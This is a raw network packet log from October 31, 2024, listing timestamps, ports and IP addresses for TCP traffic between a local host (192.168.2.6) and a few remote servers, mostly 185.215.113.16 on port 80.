Oct 31, 2024 01:19:27.014935970 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014947891 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014961958 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014983892 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.015011072 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.015446901 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.015458107 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.015469074 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.015480042 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.015501022 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.015535116 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.015996933 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.016041994 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.016052961 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.016063929 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.016108990 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.016114950 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.016122103 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.016165972 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.016165972 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.016205072 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.019021988 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.019042015 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.019054890 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.019092083 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.019115925 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.019115925 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.019174099 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.019387007 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.019666910 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.106565952 CET	80	50006	185.215.113.206	192.168.2.6
Oct 31, 2024 01:19:27.106662989 CET	50006	80	192.168.2.6	185.215.113.206
Oct 31, 2024 01:19:27.170803070 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.170836926 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.170895100 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.170914888 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.170928955 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.170944929 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.170960903 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.170996904 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171001911 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171003103 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171035051 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171047926 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171098948 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171101093 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171137094 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171149969 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171170950 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171190977 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171206951 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171214104 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171241045 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171252966 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171278000 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171288013 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171427011 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171461105 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171480894 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171495914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171504974 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171530008 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171545982 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171576023 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171736002 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171770096 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171804905 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171827078 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171838045 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171854019 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171875000 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.171895981 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.171920061 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172000885 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172055006 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172116041 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172148943 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172167063 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172200918 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172207117 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172235012 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172257900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172271013 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172283888 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172305107 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172318935 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172339916 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172358036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172374010 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172389030 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172409058 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172435045 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172442913 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172452927 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172478914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.172528028 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.172952890 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173007011 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173008919 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173046112 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173059940 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173104048 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173105001 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173139095 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173156023 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173173904 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173187017 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173208952 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173219919 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173243046 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173257113 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173276901 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173288107 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173311949 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173333883 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173346043 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173358917 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173381090 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.173393965 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173429966 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.173897982 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.174710035 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.176166058 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.176240921 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327075005 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327126026 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327156067 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327186108 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327207088 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327224970 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327249050 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327259064 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327282906 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327332973 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327339888 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327389002 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327399015 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327450991 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327454090 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327491045 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327502012 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327522039 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327542067 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327573061 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327581882 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327609062 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327619076 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327651978 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327661991 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327706099 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327713966 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327758074 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327791929 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327812910 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327822924 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327837944 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327862024 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327871084 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327897072 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327910900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327929020 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.327949047 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327970982 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.327980995 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328016996 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328032017 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328051090 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328068972 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328094006 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328100920 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328133106 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328150988 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328170061 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328202009 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328219891 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328224897 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328255892 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328265905 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328289986 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328299999 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328325033 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328340054 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328360081 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328380108 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328394890 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328418016 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328438997 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328455925 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328490019 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328507900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328521967 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328560114 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328562021 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328562975 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328589916 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328604937 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328623056 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328630924 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328658104 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328676939 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328692913 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328707933 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328730106 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328748941 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328763962 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328773022 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328799009 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328808069 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328831911 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328844070 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328866005 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328872919 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328901052 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328910112 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328936100 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328954935 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.328970909 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.328983068 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.329008102 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.329013109 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.329044104 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.329061985 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.329080105 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.329087973 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.329132080 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334027052 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334059000 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334158897 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334201097 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334253073 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334286928 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334316015 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334330082 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334351063 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334384918 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334419012 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334450006 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334455013 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334470034 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334490061 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334525108 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334558964 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334578991 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334594011 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334628105 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334640980 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334664106 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334665060 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334695101 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334716082 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334736109 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334769964 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334816933 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334820986 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334856033 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334888935 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334923983 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334928036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334949017 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.334975958 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.334994078 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335028887 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335038900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335062981 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335098028 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335109949 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335131884 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335131884 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335166931 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335200071 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335207939 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335230112 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335237026 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335273027 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335283041 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335345030 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335354090 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335378885 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335412979 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335419893 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335443020 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335464001 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335468054 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335499048 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335517883 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335535049 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335557938 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335570097 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335604906 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335623980 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335623980 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335639954 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335666895 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335675001 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335686922 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335710049 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335726023 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335752964 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335758924 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335805893 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335834026 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335859060 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335886955 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335896015 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335930109 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335943937 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.335964918 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.335998058 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.336018085 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.336031914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.336040020 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.336066008 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.336082935 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.336101055 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.336138010 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.336152077 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.339760065 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.375790119 CET	50006	80	192.168.2.6	185.215.113.206
Oct 31, 2024 01:19:27.380927086 CET	80	50006	185.215.113.206	192.168.2.6
Oct 31, 2024 01:19:27.400813103 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:27.401047945 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:27.401235104 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:27.483221054 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483274937 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483339071 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483362913 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483372927 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483411074 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483418941 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483443975 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483472109 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483481884 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483514071 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483566999 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483572960 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483625889 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483627081 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483680010 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483680964 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483717918 CET	80	50004	185.215.113.16	192.168.2.6
